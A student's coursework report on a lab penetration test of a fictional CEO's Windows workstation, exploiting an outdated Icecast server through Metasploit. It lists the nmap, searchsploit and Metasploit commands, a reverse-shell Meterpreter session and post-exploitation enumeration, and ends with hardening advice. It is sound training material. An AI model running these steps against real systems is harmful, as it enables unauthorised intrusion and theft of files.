Coursework

Unit 17 Homework: Penetration Test Engagement

Submitted By
Shaerul Haque Joarder

1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

2.0 Findings

Machine IP:

Machine's IP address: 192.168.0.20

Hostname:

Windows Hostname: MSEDGEWIN10

Vulnerability Exploited:

Icecast Header Overwrite

leveraging module

exploit/windows/http/icecast header

Vulnerability Explanation:

Luigi Auriemma discovered a buffer overflow in the header parsing of icecast versions 2.0.1 and earlier, which is exploited in this module. The sending of 32 HTTP headers will cause a write one after the end of the pointer array. In win32 this tends to overwrite the saved instruction pointer, and in Linux (depending on the compiler, etc.) such overwriting generally overwrites nothing critical (read: not exploitable). Icecast will think the thread is still active and the thread counter will not be decremented because this exploit uses <code>ExitThread()</code>. The counter will be incremented every time your payload exits, until eventually you reach the maximum threadpool limit. Multihitting is allowed, but only till the threadpool is filled.

How severe this **Vulnerability** is?

CVSS Base Score for this Vulnerability is **8.1**, which is on the **HIGH** side.

Proof of Concept:

You've been provided full access to the network and are getting ping responses from the CEO's workstation.

- 1. Perform a service and version scan using Nmap to determine which services are up and running:
 - o Run the Nmap command that performs a service and version scan against the target.

Answer:

```
nmap -sV -A 192.168.0.20
```

The result revealed that there are five services open in the CEO's Workstation.

```
Host is up (0.00B6s latency).
Not shown: 994 closed ports
        STATE SERVICE
                              VERSION
25/tcp open smtp
                             5Lmail smtpd 5.5.0.4433
 smtp-commands: MSEDGEWINIU, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN,
This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
45/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
  ropentuleinro:
    Target Name: MSEDGEWIN10
    NetBIOS Domain Name: MSEDGEWIN10
    NetBIOS_Computer_Name: MSEDGEWIN10
    DNS_Domain_Name: MSEDGEWIN10
    DNS_Computer_Name: MSEDGEWIN10
    Product Version: 10.0.17763
    System_Time: 2021-07-24T19:39:41+00:00
  ssl-cert: Subject: commonName=MSEDGEWIN10
  Not valid before: 2021-06-13T04:18:24
  Not valid after: 2021-12-13T04:18:24
  ssl-date: 2021-07-24T19:39:46+00:00; 0s from scanner time
8000/tcp open http
                             Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:15:50:00:04:01 (Microsoft)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
05:SCAN(V=7.80%E=4%D=7/24%0T=25%CT=1%CU=39703%PV=Y%DS=1%DC=D%G=Y%M=00155D%T
OS:M=60FC6C82%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=104%TI=I%CI=I%II=I%
05:SS=5%T5=U)0PS(01=M5B4NW8NNS%02=M5B4NW8NNS%03=M5B4NW8%04=M5B4NW8NNS%05=M5
OS:B4NW8NNS%06=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
O5:ECN(R=Y%DF=Y%T=80%W=FFFF%0=M5B4NW8NN5%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+%
05:F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%0=%RD=0%Q=)T3(R=Y%DF=Y%T=
05:80%W=0%5=Z%A=0%F=AR%0=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%5=A%A=0%F=R%0=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=80%W=0%5=Z%A=S+%F=AR%0=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=
OS:A%A=0%F=R%0=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
05:T=80%CD=Z)
Network Distance: 1 hop
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
 _nbstat: NetBIOS name: MSEDGEWIN10, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:00:04:01 (Microsoft)
  smb2-security-mode:
    2.02:
      Message signing enabled but not required
  smb2-time:
    date: 2021-07-24T19:39:41
    start_date: N/A
TRACEROUTE
            ADDRESS
HOP RTT
    8.58 ms 192.168.0.20
```

- 2. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:
 - Run the SearchSploit commands to show available Icecast exploits.

searchsploit icecast

```
: # searchsploit Icecast
                                                                                     Path
Exploit Title
        1.1.x/1.3.x - Directory Traversal
1.1.x/1.3.x - Slash File Name Denial of Service
1.3.7/1.3.8 - 'print_client()' Format String
                                                                                        multiple/remote/20972.txt
                                                                                        multiple/dos/20973.txt
                                                                                      | windows/remote/20582.c
| unix/remote/21363.c
        1.x - AVLLib Buffer Overflow
        2.0.1 (Win32) - Remote Code Execution (1)
                                                                                      | windows/remote/568.c
        2.0.1 (Win32) - Remote Code Execution (2)
                                                                                      | windows/remote/573.c
                                                                                      | windows x86/remote/16763.rb
         2.0.1 (Windows x86) - Header Overwrite (Metasploit)
         2.x - XSL Parser Multiple Vulnerabilities
                                                                                      | multiple/remote/25238.txt
         server 1.3.12 - Directory Traversal Information Disclosure
                                                                                      | linux/remote/21602.txt
Shellcodes: No Results
Papers: No Results
          ; #
```

- 3. Now that we know which exploits are available to us, let's start Metasploit:
 - Run the command that starts Metasploit:

mfsconsole

- 4. Search for the Icecast module and load it for use.
 - o Run the command to search for the Icecast module:

search icecast

```
msf5 > search icecast

Matching Modules
------

# Name
Disclosure Date Rank Check Description
----
0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
```

o Run the command to use the Icecast module:

Note: Instead of copying the entire path to the module, you can use the number in front of it.

Answer:

Used the smart option:

use 0

```
msf5 > search icecast

Matching Modules

-------

# Name Disclosure Date Rank Check Description

0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite

nsf5 > use 0
nsf5 exploit(windows/http/icecast_header) > ■
```

- 5. Set the RHOST to the target machine.
 - o Run the command that sets the RHOST:

```
set RHOSTS 192.168.0.20
```

```
msf5 exploit(<u>xindom,/http/deseast_header</u>) > set RHOSTS 192.168.0.20
RHOSTS => 192.168.0.20
msf5 exploit(<u>xindom,/http/deseast_header</u>) >
```

- 6. Run the Icecast exploit.
 - Run the command that runs the Icecast exploit.

Answer:

run

```
msf5 exploit(windows/Pttp/Leccett heads!) > set RHOSTS 192.168.0.20
RHOSTS => 192.168.0.20
msf5 exploit(windows/http/Leccett heads!) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49693) at 2021-07-24 13:21:54 -0700
meterpreter >
```

Run the command that performs a search for the secretfile.txt on the target.

Answer:

```
search -f secretfile.txt
search -f *secretfile*
```

Note:

The former command failed to find any matches but the latter one was successful. It's been revealed from the output that there is no such filename called secretfile.txt.

- 7. You should now have a Meterpreter session open.
 - o Run the command to performs a search for the recipe.txt on the target:

```
search -f recipe.txt
```

```
<u>meterpreter</u> > search -f recipe.txt
No files matching your search were found.
<u>meterpreter</u> > ■
```

o **Bonus**: Run the command that exfiltrates the recipe*.txt file:

Answer:

```
search -f recipe*.txt
search -f *recipe*
```

Note:

The former two commands failed to find any matches but the latest seceded. It's been revealed from the output that there is no such filename called recipe.txt.

- 8. You can also use Meterpreter's local exploit suggester to find possible exploits.
 - Note: The exploit suggester is just that: a suggestion. Keep in mind that the listed suggestions may not include all available exploits.

Answer:

```
run post/multi/recon/local_exploit_suggester
```

And

```
run post/multi/recon/local_exploit_suggester
SHOWDESCRIPTION-true
```

[Output of both commands have been shown in the following screen shot]

Note: The latter command is handy for description of the exploits.

Bonus

A. Run a Meterpreter post script that enumerates all logged on users.

Answer:

run post/windows/gather/enum logged on users

```
meterpreter > run post/windows/gather/enum logged on users
 Running against session 2
Current Logged Users
 SID
                                              User
 S-1-5-21-321011808-3761883066-353627080-1000 MSEDGEWIN10\IEUser
Results saved in: /root/.msf4/loot/20210724144110 default 192.168.0.20 host.users.activ 536817.txt
Recently Logged Users
 SID
                                              Profile Path
 S-1-5-18
                                              %systemroot%\system32\config\systemprofile
 S-1-5-19
                                              %systemroot%\ServiceProfiles\LocalService
 5-1-5-20
                                              %systemroot%\ServiceProfiles\NetworkService
 S-1-5-21-321011808-3761883066-353627080-1000 C:\Users\IEUser
 S-1-5-21-321011808-3761883066-353627080-1003 C:\Users\sysadmin
S-1-5-21-321011808-3761883066-353627080-1004 C:\Users\vagrant
meterpreter >
```

B. Open a Meterpreter shell and gather system information for the target.

Answer:

shell
systeminfo

C. Run the command that displays the target's computer system information:

Answer:

sysinfo

 meterpreter
 > sysinfo

 Computer
 : MSEDGEWIN10

 OS
 : Windows 10 (10.0 Build 17763).

 Architecture
 : x64

 System Language
 : en_US

 Domain
 : WORKGROUP

 Logged On Users
 : 1

 Meterpreter
 : x86/windows

 meterpreter
 > ■

3.0 Recommendations

Immediate Action

Upgrade to Icecast 2.0.2 or later

End Point Hardening

Regular Update of Windows OS Patch Update for Installed Applications

End Point Security

Installation of End Point Firewall Auto vulnerability scan and Detection

Network Access Security

Implementing Active Directory (AD) Based Central Policy
Use of SDP (Software Defined Perimeter) or at least VPN for remote access

End Point Audit

Solution based Auto workstation Audit at a regular interval

Long-Term Plan

Corrective Measures for enhanced IT Infrastructure Implementing *SoC for Orchestrated SIEM*Periodic *Penetration Test*Periodic *IT Security Audit*